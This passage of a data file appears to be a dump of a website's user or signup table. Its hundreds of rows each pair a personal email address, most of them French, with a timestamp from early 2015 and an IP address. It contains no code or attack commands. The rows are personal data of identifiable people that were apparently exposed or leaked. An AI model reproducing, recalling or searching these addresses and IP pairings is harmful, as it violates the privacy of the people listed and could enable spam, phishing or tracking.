15:30:27;195.221.79.87 +4056;estelle.guilcher@gmail.com;2015-02-04 16:13:03;89.3.151.166 +4057;boxfrancoise@yahoo.fr;2015-02-04 16:20:19;88.169.255.246 +4058;misslevaviva@gmail.com;2015-02-04 16:36:27;212.179.241.30 +4059;fatihabellout@yahoo.fr;2015-02-04 17:01:39;77.128.41.96 +4060;martinelothe@yahoo.fr;2015-02-04 17:07:02;83.154.13.47 +4061;charlieetflo@laposte.net;2015-02-04 17:10:37;92.147.15.133 +4062;domi.marrel@orange.fr;2015-02-04 17:15:22;86.195.136.114 +4063;versace.girl@hotmail.fr;2015-02-04 17:19:42;90.0.138.170 +4064;gaelle.coupanec@live.fr;2015-02-04 17:25:06;92.93.46.165 +4065;vdalfred@sfr.fr;2015-02-04 17:29:52;77.147.8.153 +4066;a.forgeard@laposte.net;2015-02-04 18:09:03;78.123.99.253 +4067;anne-laure.vernier@laposte.net;2015-02-04 18:09:18;78.123.99.253 +4068;gournay.veronique@orange.fr;2015-02-04 18:13:51;90.30.171.252 +4069;christelle.lafaysse@orange.fr;2015-02-04 18:18:04;109.223.63.146 +4070;cocoro2559@yahoo.fr;2015-02-04 18:26:11;109.217.37.31 +4071;laurencebenayon@gmail.com;2015-02-04 18:45:27;88.140.220.41 +4072;btheisse@gmail.com;2015-02-04 18:46:20;83.154.102.59 +4073;didiertalon@msn.com;2015-02-04 19:02:05;82.245.70.72 +4074;fab.j@noos.fr;2015-02-04 19:02:27;87.231.23.188 +4075;chris.pascal2515@gmail.com;2015-02-04 19:12:29;77.196.21.234 +4076;Sp75@orange.fr;2015-02-04 19:14:20;86.193.29.64 +4077;beranger.roselyne@gmail.com;2015-02-04 19:41:36;176.180.136.5 +4078;evelynee173@gmail.com;2015-02-04 19:43:33;109.218.95.203 +4079;rasm@voila.fr;2015-02-04 20:31:24;2.6.251.162 +4080;amdfra72@yahoo.fr;2015-02-04 20:32:15;90.25.67.131 +4081;lili.cobra19@hotmail.fr;2015-02-04 21:05:00;79.88.70.56 +4082;shanaya71@outlook.fr;2015-02-04 21:10:59;109.8.115.14 +4083;anthonio2@neuf.fr;2015-02-04 21:15:14;78.210.164.85 +4084;karine56320@hotmail.fr;2015-02-04 21:21:10;2.14.130.200 +4085;martinegouttebroze@sfr.fr;2015-02-04 21:35:10;78.112.67.160 +4086;christelle.michelot@yahoo.fr;2015-02-04 21:47:45;176.179.87.15 +4087;rennesson.dominique@wanadoo.fr;2015-02-04 22:06:27;92.142.66.135 +4088;marysedu35@live.fr;2015-02-04 22:20:39;2.14.73.112 +4089;alixph@sfr.fr;2015-02-04 22:22:16;92.88.127.19 +4090;meganejouet40@outlook.fr;2015-02-04 23:41:03;86.222.198.80 +4091;tournesol53@gmail.com;2015-02-05 00:03:58;86.210.99.146 +4092;chuibienla@yahoo.fr;2015-02-05 00:29:50;77.194.44.41 +4093;charmed77@hotmail.fr;2015-02-05 00:46:51;88.167.3.80 +4094;nuss1953@yahoo.fr;2015-02-05 02:07:23;92.90.19.28 +4095;Carole.mor@hotmail.fr;2015-02-05 05:26:15;86.221.246.213 +4096;nelly.lesager77@gmail.com;2015-02-05 07:06:18;79.88.219.100 +4097;btouzet75@gmail.com;2015-02-05 07:41:19;66.249.93.162 +4098;elsamenard@gmail.com;2015-02-05 09:10:37;80.14.90.223 +4099;nroudrigue@laposte.net;2015-02-05 09:13:08;92.143.174.60 +4100;sab.petit@voila.fr;2015-02-05 09:45:44;81.252.174.12 +4101;francoise.wintzenrieth@gmail.comj;2015-02-05 11:12:30;37.161.246.93 +4102;nicole.sion@sfr.fr;2015-02-05 11:17:01;91.68.60.135 +4103;ofillusion@googlemail.com;2015-02-05 11:37:14;2.242.238.187 +4104;maihodeitxo@gmail.com;2015-02-05 12:24:17;82.125.180.49 +4105;noabonny@gmail.com;2015-02-05 13:21:15;84.103.141.233 +4106;shando90210@aol.com;2015-02-05 13:25:47;37.160.171.36 +4107;rogermarie02200@gmail.com;2015-02-05 14:08:40;83.156.38.36 +4108;nathalie.borghini@laposte.net;2015-02-05 14:12:39;92.148.126.174 +4109;mamounette972@gmail.com;2015-02-05 14:23:28;83.203.71.83 +4110;kbits56@hotmail.fr;2015-02-05 15:09:28;82.239.107.153 +4111;lagleize_regine@orange.fr;2015-02-05 15:12:51;83.205.234.240 +4112;chabaninadia@yahoo.fr;2015-02-05 15:34:59;78.250.51.71 +4113;roselyne.fontaine59@laposte.net;2015-02-05 15:59:23;81.66.169.50 +4114;severine.bruni@yahoo.fr;2015-02-05 16:06:46;62.212.109.252 +4115;vigne.celine@live.fr;2015-02-05 16:12:57;89.225.125.152 +4116;soucicatrine@yahoo.fr;2015-02-05 17:41:42;78.217.36.92 +4117;armelle68@yahoo.fr;2015-02-05 17:57:51;77.147.39.161 +4118;sylvie.quenard@orange.fr;2015-02-05 20:15:06;90.29.163.21 +4119;magnoliabb@hotmail.fr;2015-02-05 21:00:17;79.84.202.66 +4120;mp.castel@orange.fr;2015-02-05 21:15:08;81.53.54.60 +4121;lmninacoiffure@gmail.com;2015-02-05 21:17:30;109.16.201.86 +4122;laetitia.uracz@bbox.fr;2015-02-05 21:17:49;109.16.201.86 +4123;fiffon@gmail.com;2015-02-05 21:29:33;83.112.183.142 +4124;ruescasmart@yahoo.fr;2015-02-05 23:10:01;90.61.180.39 +4125;marjorie.giraudot@orange.fr;2015-02-06 00:10:54;90.3.48.237 +4126;sandrinemolko62@gmail.com;2015-02-06 00:30:50;92.131.23.142 +4127;sophie.giordano@live.fr;2015-02-06 06:55:20;86.69.37.247 +4128;didelot.corinne@gmail.com;2015-02-06 07:04:47;84.100.62.28 +4129;toutouria@gmail.com;2015-02-06 08:11:19;109.23.134.222 +4130;schmitz_chrystel@yahoo.fr;2015-02-06 09:03:22;90.30.128.86 +4131;marrotfamily@aol.com;2015-02-06 10:16:19;92.90.21.74 +4132;karima.eude@gmail.com;2015-02-06 12:03:01;78.192.4.213 +4133;michelle.wlodarczyk@orange.fr;2015-02-06 12:03:29;92.142.134.238 +4134;patrice.rigaud1@orange.fr;2015-02-06 13:24:47;109.213.92.92 +4135;elora.banja@gmail.com;2015-02-06 14:40:12;31.33.251.132 +4136;nadine2valenti@gmail.com;2015-02-06 15:02:16;82.228.250.109 +4137;Jessicarevertec@hotmail.com;2015-02-06 15:11:19;88.179.176.158 +4138;wattecampssandrine@yahoo.fr;2015-02-06 15:15:16;77.131.30.168 +4139;djoudjou.2530@voila.fr;2015-02-06 16:11:22;92.143.155.94 +4140;hbellouati@aol.com;2015-02-06 17:12:16;86.75.229.72 +4141;assiameddah@live.fr;2015-02-06 17:56:32;90.5.57.28 +4142;sonia9783@hotmail.com;2015-02-06 18:35:51;2.81.96.204 +4143;anne.sauget@gmail.com;2015-02-06 22:08:41;212.195.190.203 +4144;anissaabdedaiem@hotmail.fr;2015-02-07 00:23:42;78.250.112.242 +4145;roselyne13010@yahoo.fr;2015-02-07 08:35:37;89.92.47.40 +4146;ispahan21@live.fr;2015-02-07 10:00:18;82.250.248.20 +4147;maryse.paluska@laposte.net;2015-02-07 14:37:17;88.138.117.127 +4148;prud.annie@hotmail.fr;2015-02-07 15:02:16;78.212.86.63 +4149;sandrine.joder@free.fr;2015-02-07 16:12:36;88.172.205.98 +4150;nadia_bugnon@yahoo.fr;2015-02-07 19:59:27;83.76.17.248 +4151;bodyguard.g@orange.fr;2015-02-07 22:58:21;88.141.120.6 +4152;olga.orlinski@numericable.fr;2015-02-07 23:40:33;87.231.76.228 +4153;kevinlecorre@outlook.com;2015-02-08 03:20:12;82.120.126.71 +4154;marie.ludo61@gmail.fr;2015-02-08 13:23:23;92.90.26.60 +4155;catherine.thiphagne@wanadoo.fr;2015-02-08 17:50:51;90.17.96.151 +4156;angeserot8@hotmail.fr;2015-02-08 19:55:39;93.22.169.55 +4157;romanalbane@yahoo.fr;2015-02-08 19:56:05;93.22.169.55 +4158;sevcharrier@hotmail.com;2015-02-08 19:56:19;93.22.169.55 +4159;kdelbee@hotmail.fr;2015-02-08 19:56:34;93.22.169.55 +4160;1328coco64@gmail.com;2015-02-09 08:36:25;87.91.97.31 +4161;guybernard@rocketmail.com;2015-02-09 11:07:29;89.224.69.18 +4162;badadette@gmail.com;2015-02-09 12:02:18;77.134.99.50 +4163;brunnoah@gmail.com;2015-02-09 12:08:33;88.178.30.197 +4164;jacques.quentrec@cegetel.net;2015-02-09 12:54:41;79.93.78.52 +4165;audrey.piers@hotmail.fr;2015-02-09 13:13:19;88.123.160.87 +4166;colson.pascale@neuf.fr;2015-02-09 13:58:21;85.192.225.47 +4167;mathvwgirl@gmail.com;2015-02-09 14:50:40;77.149.75.41 +4168;sderedec@gmail.com;2015-02-09 14:51:06;80.12.59.93 +4169;thomas@antadis.com;2015-02-09 15:18:31;88.120.248.124 +4170;louboutin@allibert.org;2015-02-09 16:10:36;81.57.119.171 +4171;pmasseron@orange.fr;2015-02-09 19:06:57;81.66.24.19 +4172;E.guerard@yahoo.fr;2015-02-09 20:12:34;82.244.226.219 +4173;pascalbal@aol.com;2015-02-09 20:18:21;89.170.200.74 +4174;boris.audant@gmail.com;2015-02-10 11:30:17;86.198.168.48 +4175;n.ls@wanadoo.fr;2015-02-10 11:32:26;90.61.169.80 +4176;tempesta74@gmail.com;2015-02-10 12:31:47;79.45.80.94 +4177;heliot21@yahoo.fr;2015-02-10 13:06:10;88.162.95.41 +4178;j.gilloury@voila.fr;2015-02-10 13:16:10;2.2.253.27 +4179;jo.pascalefernandes@gmail.com;2015-02-10 13:36:17;78.210.210.31 +4180;alain.chrystel@orange.fr;2015-02-10 15:58:49;86.204.192.167 +4181;aurorezs27@gmail.com;2015-02-10 19:10:48;84.101.214.221 +4182;victoirelefrancois@gmail.com;2015-02-11 09:27:44;90.80.242.230 +4183;tchadagirl@hotmail.fr;2015-02-11 14:57:25;84.103.70.146 +4184;darros.sophie@gmail.com;2015-02-11 18:28:42;83.196.124.249 +4185;roselyne.burty4@gmail.com;2015-02-11 19:28:36;86.66.243.186 +4186;delphineajgg.30960@gmail.com;2015-02-11 20:13:30;81.251.98.241 +4187;coralie.acopad@gmail.com;2015-02-12 02:13:22;86.203.112.110 +4188;Ansilic@hotmail.fr;2015-02-12 07:09:46;79.95.187.188 +4189;xela1603@yahoo.fr;2015-02-12 13:10:25;195.36.238.115 +4190;murat.64@hotmail.fr;2015-02-13 11:12:26;88.188.242.16 +4191;houdataghouti@yahoo.fr;2015-02-13 17:14:53;86.203.169.140 +4192;syga.moreau986@laposte.net;2015-02-14 17:59:53;31.32.54.41 +4193;meridegreis@gmail.com;2015-02-14 21:46:40;80.117.232.146 +4194;claudealiaga@sfr.fr;2015-02-15 15:14:48;31.32.3.218 +4195;magali.tatli@gmail.com;2015-02-15 15:41:50;212.198.63.253 +4196;Croutard40@yahoo.fr;2015-02-15 18:12:11;109.223.208.145 +4197;trollesque9@hotmail.com;2015-02-15 22:22:19;92.128.52.246 +4198;danielle.beauvineau@orange.fr;2015-02-16 10:59:51;2.2.19.75 +4199;laurence.warolus@pagesdor.be;2015-02-16 11:31:32;80.236.238.58 +4200;salvado.louisdavid@neuf.fr;2015-02-16 12:33:29;85.192.235.229 +4201;urset.giraud@orange.fr;2015-02-16 13:14:10;82.124.202.136 +4202;edith04157@msn.com;2015-02-16 13:27:50;176.144.18.55 +4203;aurelielr@icloud.com;2015-02-16 14:17:53;88.172.41.112 +4204;thierry_ramet@orange.fr;2015-02-16 15:12:00;92.155.17.180 +4205;brigitte_jeanne@outlook.fr;2015-02-16 15:12:56;83.159.86.44 +4206;boudha-zen@neuf.fr;2015-02-16 15:19:17;89.227.153.36 +4207;Melin.morgane@neuf.fr;2015-02-16 15:20:28;87.89.123.45 +4208;or.et.lie@hotmail.fr;2015-02-16 16:22:57;82.233.170.125 +4209;timourovna.fariza@gmail.com;2015-02-16 16:56:48;109.88.107.171 +4210;gus1212@live.fr;2015-02-16 17:05:59;92.145.166.58 +4211;celine.loizel@orange.fr;2015-02-16 17:47:44;83.205.97.85 +4212;sandrine.sayeh@sfr.fr;2015-02-16 20:11:02;77.198.132.20 +4213;lydiefredjuju@gmail.com;2015-02-16 20:38:44;37.174.89.236 +4214;sonia.salvatore@sunrise.ch;2015-02-16 21:12:39;89.217.5.127 +4215;fanny.chayma@gmail.com;2015-02-16 23:05:07;90.17.206.240 +4216;paitrick.gerard@gmail.com;2015-02-17 00:22:05;78.247.211.31 +4217;viviane.elbaz@hotmail.fr;2015-02-17 00:29:38;82.227.167.16 +4218;Jenna.condado@bluemail.ch;2015-02-17 11:45:33;85.3.41.47 +4219;marielahaye13@yahoo.com;2015-02-17 20:29:04;78.205.72.63 +4220;jacquelineroos73@hotmail.fr;2015-02-18 10:13:56;77.150.219.193 +4221;gigisupastar@hotmail.com;2015-02-18 11:05:15;195.101.250.9 +4222;shise01@hotmail.fr;2015-02-18 11:57:19;82.123.109.68 +4223;carolineselig@yahoo.com;2015-02-18 12:17:27;88.125.16.106 +4224;zerabbit@hotmail.com;2015-02-18 15:41:25;5.50.21.111 +4225;auroregerard@orange.fr;2015-02-18 18:59:44;83.198.55.128 +4226;m.moumoune@hotmail.fr;2015-02-18 19:19:40;213.44.132.159 +4227;Zellu71@hotmail.com;2015-02-18 19:39:36;85.171.193.229 +4228;canasan@orange.fr;2015-02-19 11:28:45;90.19.11.53 +4229;elodietexier87@gmail.com;2015-02-19 18:21:05;80.215.199.155 +4230;florence.cappellaro@orange.fr;2015-02-19 20:48:42;86.209.13.136 +4231;sylvie.gilles1@hotmail.fr;2015-02-19 21:17:24;77.195.109.113 +4232;petitelibellule12@hotmail.fr;2015-02-19 21:51:01;88.123.230.52 +4233;mguillouzouic@gmail.com;2015-02-19 23:25:40;78.231.238.59 +4234;vevestel@live.fr;2015-02-20 15:31:55;80.12.35.121 +4235;patricia.sicard@sfr.fr;2015-02-21 13:46:37;77.144.207.146 +4236;elvina.danion@gmail.com;2015-02-21 13:51:05;87.89.79.127 +4237;christianmarx@sfr.fr;2015-02-21 15:07:31;77.129.11.81 +4238;carolinemorillas@hotmail.com;2015-02-21 16:56:00;88.164.78.172 +4239;sophieclavel@hotmail.fr;2015-02-21 18:02:55;78.124.43.228 +4240;annick5960@hotmail.fr;2015-02-21 19:29:37;85.192.204.215 +4241;pascalandrieux@ymail.com;2015-02-21 23:23:59;78.115.170.214 +4242;marielaurent438rodez@yahoo.fr;2015-02-22 00:04:46;92.91.96.238 +4243;katherine.broutin@aliceadsl.fr;2015-02-22 11:01:18;83.155.85.2 +4244;chrislaemlin@hotmail.fr;2015-02-22 15:57:41;84.101.250.68 +4245;babichoueli@aol.com;2015-02-22 18:38:47;109.30.89.215 +4246;sophie.berthelemy@orange.fr;2015-02-22 19:03:45;90.20.47.198 +4247;gaelle120187@hotmail.fr;2015-02-22 22:08:41;86.208.0.142 +4248;GALLAGHER120@AOL.COM;2015-02-23 03:06:20;92.22.50.200 +4249;elisaprozacoide@gmail.com;2015-02-23 14:07:57;88.125.204.214 +4250;bernard.langelin@neuf.fr;2015-02-23 17:42:25;88.126.185.67 +4251;anne.clio@yahoo.fr;2015-02-23 22:57:38;37.161.3.140 +4252;vero-paulet@hotmail.fr;2015-02-24 17:45:04;84.5.191.167 +4253;capeemytony@laposte.net;2015-02-25 00:21:01;90.50.232.206 +4254;jourdainacquigny@orange.fr;2015-02-25 00:30:52;90.17.213.98 +4255;mhblt@cegetel.net;2015-02-25 08:52:26;37.25.72.83 +4256;justenous476@gmail.com;2015-02-25 12:10:49;93.19.139.45 +4257;elodie.coll@wanadoo.fr;2015-02-25 14:13:10;92.158.15.178 +4258;myriam0565@hotmail.fr;2015-02-25 16:33:17;90.52.74.253 +4259;nathaliereydebacker@gmail.com;2015-02-25 17:39:30;31.4.196.21 +4260;desoutermarion@gmail.com;2015-02-25 22:16:55;90.47.223.36 +4261;fevreburdylydie@orange.fr;2015-02-26 07:46:21;90.33.209.233 +4262;berenyss@hotmail.Fr;2015-02-26 11:14:29;77.205.63.29 +4263;ycorantin@sephora.fr;2015-02-26 11:51:28;195.75.31.226 +4264;pepita710@orange.fr;2015-02-26 13:05:52;109.223.25.87 +4265;vbarr@hotmail.fr;2015-02-26 13:08:32;82.242.202.203 +4266;vcasabianc@hotmail.fr;2015-02-26 13:08:45;82.242.202.203 +4267;natty80@hotmail.fr;2015-02-26 13:37:48;80.12.107.1 +4268;lydia.pereira@sfr.fr;2015-02-26 13:39:03;194.8.148.22 +4269;Parpaioun@yahoo.fr;2015-02-26 14:04:13;90.8.14.76 +4270;mguegan7@gmail.com;2015-02-26 19:10:56;88.177.188.149 +4271;angel.cc@sfr.fr;2015-02-26 20:35:04;78.126.88.170 +4272;vivi.fabre31@gmail.com;2015-02-26 21:39:30;88.124.120.168 +4273;sihaime@hotmail.com;2015-02-26 21:40:55;78.250.27.84 +4274;izia27@outlook.fr;2015-02-26 22:50:04;77.193.240.192 +4275;horti@aliceadsl.fr;2015-02-27 10:59:43;88.162.166.30 +4276;helene.batardiere@birchbox.com;2015-02-27 11:04:31;213.215.6.90 +4277;elisabeth.ferry@greffe-tc.net;2015-02-27 12:12:24;62.161.29.57 +4278;stephanie.loupien@gmail.com;2015-02-27 16:35:43;109.219.199.183 +4279;laurentpodsiadlo@yahoo.fr;2015-02-27 22:01:12;93.1.193.93 +4280;monique.rossi03@laposte.net;2015-02-28 13:11:17;78.243.159.190 +4281;drine25jlc@hotmail.com;2015-02-28 13:42:07;90.56.171.171 +4282;annelfbvre@free.fr;2015-02-28 15:39:19;82.67.16.124 +4283;olivier.massoue@laposte.fr;2015-02-28 16:22:20;176.187.42.57 +4284;nathnagui@hotmail.fr;2015-02-28 16:31:39;93.26.10.95 +4285;zouzoupette29coat@laposte.net;2015-02-28 19:09:00;78.233.160.101 +4286;sophievayssettes@cegetel.net;2015-03-01 14:11:37;109.9.243.250 +4287;mimigan@dm.net.lb;2015-03-01 14:12:03;178.135.223.172 +4288;chouquette230790@laposte.net;2015-03-01 15:43:47;109.9.243.250 +4289;Patriciatiers@icloud.com;2015-03-01 20:26:05;80.201.18.225 +4290;claudine.legoff29@gmail.com;2015-03-02 09:43:46;109.218.147.17 +4291;beaumont+test4@antadis.com;2015-03-02 16:06:36;88.120.248.124 +4293;dominique.debrin@free.fr;2015-03-03 12:37:22;78.237.188.39 +4294;mochi-x@hotmail.fr;2015-03-03 12:40:07;83.199.201.136 +4295;vanessa.alquezar@laposte.net;2015-03-03 12:44:20;2.4.222.89 +4296;simste@wanadoo.fr;2015-03-03 12:54:47;2.4.188.217 +4297;clefebvre62@hotmail.fr;2015-03-03 13:24:32;109.2.37.49 +4298;veronique.roth@yahoo.com;2015-03-03 13:38:42;82.226.51.211 +4299;dele.lo@hotmail.fr;2015-03-03 13:48:14;88.183.6.190 +4300;bbmental@hotmail.fr;2015-03-03 13:48:25;78.232.69.239 +4301;annedo.thiebaud@bluewin.ch;2015-03-03 13:49:21;92.107.142.85 +4302;annedo.thiebaud@bluewin.ch;2015-03-03 13:50:06;92.107.142.85 +4303;annedo.thiebaud@bluewin.ch;2015-03-03 13:50:38;92.107.142.85 +4304;annedo.thiebaud@bluewin.ch;2015-03-03 13:52:35;92.107.142.85 +4305;magali.jo@free.fr;2015-03-03 14:08:37;78.239.119.194 +4306;schucknadege@yahoo.fr;2015-03-03 14:24:21;86.65.182.2 +4307;ingridhochleitner@orange.fr;2015-03-03 14:51:21;92.148.93.134 +4308;ingridhochleitner@orange.fr;2015-03-03 14:51:21;92.148.93.134 +4309;ingridhochleitner@orange.fr;2015-03-03 14:51:31;92.148.93.134 +4310;ingridhochleitner@orange.fr;2015-03-03 14:51:31;92.148.93.134 +4311;celinegt@yahoo.fr;2015-03-03 14:52:29;212.234.93.154 +4312;pharmacie-de-thouarce@orange.fr;2015-03-03 14:54:45;2.0.197.220 +4313;pharmacie-de-thouarce@orange.fr;2015-03-03 14:54:57;2.0.197.220 +4314;val.dumontier@orange.fr;2015-03-03 15:02:32;92.154.133.114 +4315;pharmacie-de-thouarce@orange.fr;2015-03-03 15:04:29;2.0.197.220 +4316;pharmacie-de-thouarce@orange.fr;2015-03-03 15:04:52;2.0.197.220 +4317;pharmacie-de-thouarce@orange.fr;2015-03-03 15:05:51;2.0.197.220 +4318;pharmacie-de-thouarce@orange.fr;2015-03-03 15:07:30;2.0.197.220 +4319;pharmacie-de-thouarce@orange.fr;2015-03-03 15:07:36;2.0.197.220 +4320;pharmacie-de-thouarce@orange.fr;2015-03-03 15:07:53;2.0.197.220 +4321;daniele.leon61@orange.fr;2015-03-03 15:11:47;80.15.92.191 +4322;daniellemenghini@gmail.com;2015-03-03 15:13:26;81.63.162.182 +4323;barbacandie85@orange.fr;2015-03-03 15:15:48;90.25.5.231 +4324;pouget@antadis.com;2015-03-03 15:34:16;88.120.248.124 +4325;mary7323@live.fr;2015-03-03 16:00:35;90.20.140.207 +4326;cosima_b@yahoo.fr;2015-03-03 16:35:06;193.51.83.9 +4327;annick.ringenbach@sfr.fr;2015-03-03 16:42:18;91.91.240.94 +4328;wmyria@free.fr;2015-03-03 16:53:37;78.223.27.184 +4329;wmyria@free.fr;2015-03-03 16:53:40;78.223.27.184 +4330;wmyria@free.fr;2015-03-03 16:53:42;78.223.27.184 +4331;chezsylvie@hotmail.com;2015-03-03 17:31:17;78.125.207.229 +4332;joncourt@wanadoo.fr;2015-03-03 17:37:12;90.32.252.13 +4333;leabruel@yahoo.fr;2015-03-03 17:37:56;78.209.93.156 +4334;vprepognot@ascot.fr;2015-03-03 17:41:50;88.162.92.51 +4335;vprepognot@ascot.fr;2015-03-03 17:41:50;88.162.92.51 +4336;vprepognot@ascot.fr;2015-03-03 17:41:54;88.162.92.51 +4337;vprepognot@ascot.fr;2015-03-03 17:41:55;88.162.92.51 +4338;vprepognot@ascot.fr;2015-03-03 17:42:00;88.162.92.51 +4339;vprepognot@ascot.fr;2015-03-03 17:42:00;88.162.92.51 +4340;armelle.combe@yahoo.fr;2015-03-03 18:15:14;92.132.229.122 +4341;armelle.combe@yahoo.fr;2015-03-03 18:15:14;92.132.229.122 +4342;elsabeauchart@yahoo.fr;2015-03-03 18:15:20;90.58.221.167 +4343;elsabeauchart@yahoo.fr;2015-03-03 18:15:31;90.58.221.167 +4344;chtr13@laposte.net;2015-03-03 18:27:05;90.37.175.127 +4345;saleclaire@hotmail.fr;2015-03-03 18:34:58;109.223.117.21 +4346;saleclaire@hotmail.fr;2015-03-03 18:34:59;109.223.117.21 +4347;saleclaire@hotmail.fr;2015-03-03 18:35:15;109.223.117.21 +4348;saleclaire@hotmail.fr;2015-03-03 18:35:16;109.223.117.21 +4349;saleclaire@hotmail.fr;2015-03-03 18:35:30;109.223.117.21 +4350;saleclaire@hotmail.fr;2015-03-03 18:35:30;109.223.117.21 +4351;anthony.pesenti@wanadoo.fr;2015-03-03 18:35:48;92.133.9.3 +4352;anthony.pesenti@wanadoo.fr;2015-03-03 18:35:53;92.133.9.3 +4353;jasmine.defrenet@voila.fr;2015-03-03 18:40:57;84.102.186.187 +4354;margaux.mathieu6@gmail.com;2015-03-03 18:41:36;92.90.26.72 +4355;margaux.mathieu6@gmail.com;2015-03-03 18:41:36;92.90.26.72 +4356;margaux.mathieu6@gmail.com;2015-03-03 18:41:48;92.90.26.72 +4357;margaux.mathieu6@gmail.com;2015-03-03 18:41:48;92.90.26.72 +4358;margaux.mathieu6@gmail.com;2015-03-03 18:43:00;92.90.26.72 +4359;margaux.mathieu6@gmail.com;2015-03-03 18:43:01;92.90.26.72 +4360;val.le.coq@orange.fr;2015-03-03 19:23:22;82.245.208.40 +4361;anneboujon@hotmail.fr;2015-03-03 20:03:12;77.198.205.235 +4362;val.le.coq@orange.fr;2015-03-03 20:07:34;82.245.208.40 +4363;val.le.coq@orange.fr;2015-03-03 20:08:37;82.245.208.40 +4364;val.le.coq@orange.fr;2015-03-03 20:08:55;82.245.208.40 +4365;val.le.coq@orange.fr;2015-03-03 20:09:15;82.245.208.40 +4366;new@garancia.com;2015-03-03 20:26:28;82.122.56.153 +4367;new@garancia.com;2015-03-03 20:26:29;82.122.56.153 +4368;new@garancia.com;2015-03-03 20:26:31;82.122.56.153 +4369;new@garancia.com;2015-03-03 20:26:31;82.122.56.153 +4370;new@garancia.com;2015-03-03 20:28:50;82.122.56.153 +4371;new@garancia.com;2015-03-03 20:28:50;82.122.56.153 +4372;lina.verdan@free.fr;2015-03-03 20:31:44;78.226.15.209 +4373;tibudha@hotmail.fr;2015-03-03 20:35:29;89.93.118.34 +4374;veronique38@free.fr;2015-03-03 21:18:03;78.206.222.13 +4375;valeriedenier@icloud.com;2015-03-03 21:21:08;78.224.224.104 +4376;valeriedenier@icloud.com;2015-03-03 21:21:08;78.224.224.104 +4377;marievilleneuve.19@gmail.com;2015-03-03 21:26:21;90.60.133.156 +4378;marievilleneuve.19@gmail.com;2015-03-03 21:26:22;90.60.133.156 +4379;marievilleneuve.19@gmail.com;2015-03-03 21:26:40;90.60.133.156 +4380;marievilleneuve.19@gmail.com;2015-03-03 21:26:40;90.60.133.156 +4381;marievilleneuve.19@gmail.com;2015-03-03 21:27:28;90.60.133.156 +4382;marievilleneuve.19@gmail.com;2015-03-03 21:27:28;90.60.133.156 +4383;tomama@wanadoo.fr;2015-03-03 21:29:38;89.93.106.23 +4384;munfan@outlook.fr;2015-03-03 21:42:19;88.170.94.116 +4385;achat_ioffer@hotmail.fr;2015-03-03 22:00:34;88.170.168.120 +4386;984c450@gmail.com;2015-03-03 22:30:47;81.57.128.68 +4387;ed.leclercq@free.fr;2015-03-03 22:59:02;109.214.175.93 +4388;belinha7884@gmail.com;2015-03-03 23:04:42;89.89.75.86 +4389;nathalierieutord@hotmail.fr;2015-03-03 23:32:08;90.4.249.104 +4390;c.nini@live.fr;2015-03-04 00:52:33;86.210.21.158 +4391;c.nini@live.fr;2015-03-04 00:52:33;86.210.21.158 +4392;kerabenot@hotmail.fr;2015-03-04 01:48:57;83.152.163.173 +4393;anne@grandcauseran.com;2015-03-04 07:34:45;88.187.170.103 +4394;fleurycatou@aol.com;2015-03-04 08:24:14;92.139.19.253 +4395;TIBRIGITTE@VOILA.FR;2015-03-04 08:30:49;109.20.174.76 +4396;nina07100@hotmail.fr;2015-03-04 08:33:41;90.15.4.239 +4397;new@garancia.com;2015-03-04 08:55:25;86.67.136.167 +4398;new@garancia.com;2015-03-04 08:55:25;86.67.136.167 +4399;mariefranceimbert@sfr.fr;2015-03-04 09:03:04;88.140.151.214 +4400;francoise.ricar@dbmail.com;2015-03-04 09:11:51;89.224.208.232 +4401;sabaut21@hotmail.fr;2015-03-04 09:28:51;90.11.200.82 +4402;sabaut21@hotmail.fr;2015-03-04 09:28:51;90.11.200.82 +4403;audesko@yahoo.fr;2015-03-04 09:32:30;137.129.13.90 +4404;silvinapino@hotmail.fr;2015-03-04 09:48:29;90.27.245.51 +4405;corinne.ortega0361@orange.fr;2015-03-04 10:33:37;90.42.43.234 +4406;sosoduvivier@hotmail.com;2015-03-04 10:52:25;193.191.241.1 +4407;guinet.martine.73@gemail.com;2015-03-04 10:55:54;84.101.95.148 +4408;leslilas35@laposte.net;2015-03-04 11:06:08;78.247.159.176 +4409;karinepoizac@gmail.com;2015-03-04 11:14:27;86.210.235.192 +4410;msm_rob@msn.com;2015-03-04 11:25:15;93.158.47.141 +4411;charpentier.vin@wanadoo.fr;2015-03-04 11:31:13;92.147.108.189 +4412;sophj.vincent@gmail.com;2015-03-04 11:34:41;81.93.14.132 +4413;sgjpmp@aol.com;2015-03-04 11:38:08;86.76.65.142 +4414;florencedejaham@yahoo.fr;2015-03-04 11:44:26;212.99.7.2 +4415;melaniepa@free.fr;2015-03-04 11:50:01;82.67.21.60 +4416;melaniepa@free.fr;2015-03-04 11:50:01;82.67.21.60 +4417;melaniepa@free.fr;2015-03-04 11:50:10;82.67.21.60 +4418;abbygael113@gmail.com;2015-03-04 12:01:14;78.244.100.181 +4419;msm_rob@msn.com;2015-03-04 12:14:19;93.158.47.141 +4420;msm_rob@msn.com;2015-03-04 12:14:34;93.158.47.141 +4421;marine.jabbour@hotmail.fr;2015-03-04 12:15:10;83.114.41.140 +4422;josianne_philippe@orange.fr;2015-03-04 12:19:33;109.218.186.11 +4424;webernadette@gmail.com;2015-03-04 12:32:17;84.98.85.79 +4425;beneme@skynet.be;2015-03-04 13:08:47;81.241.208.194 +4426;laetitia.champetier@loreal.com;2015-03-04 13:21:55;81.255.154.161 +4427;laetitia.champetier@loreal.com;2015-03-04 13:21:55;81.255.154.161 +4428;laetitia_lebars@yahoo.fr;2015-03-04 13:26:32;86.196.122.114 +4429;karinepoizac@gmail.com;2015-03-04 14:27:02;86.210.235.192 +4430;karinepoizac@gmail.com;2015-03-04 14:27:16;86.210.235.192 +4431;karinepoizac@gmail.com;2015-03-04 14:27:21;86.210.235.192 +4432;karinepoizac@gmail.com;2015-03-04 14:27:43;86.210.235.192 +4433;mariedu016@hotmail.fr;2015-03-04 14:50:24;92.162.40.150 +4434;michelange@aliceadsl.fr;2015-03-04 14:59:05;78.236.68.171 +4435;michelange@aliceadsl.fr;2015-03-04 14:59:05;78.236.68.171 +4436;alb_lyd36100@orange.fr;2015-03-04 15:05:40;90.20.167.104 +4437;nathaliegiacon@wanadoo.fr;2015-03-04 15:12:24;86.216.81.127 +4438;jessriga@gmail.com;2015-03-04 15:13:45;85.26.96.191 +4439;webernadette@gmail.com;2015-03-04 15:19:16;84.98.85.79 +4440;webernadette@gmail.com;2015-03-04 15:19:35;84.98.85.79 +4441;beatrice-perez@wanadoo.fr;2015-03-04 15:26:49;90.46.23.180 +4442;gondard.agnes@gmail.com;2015-03-04 15:37:14;85.90.50.126 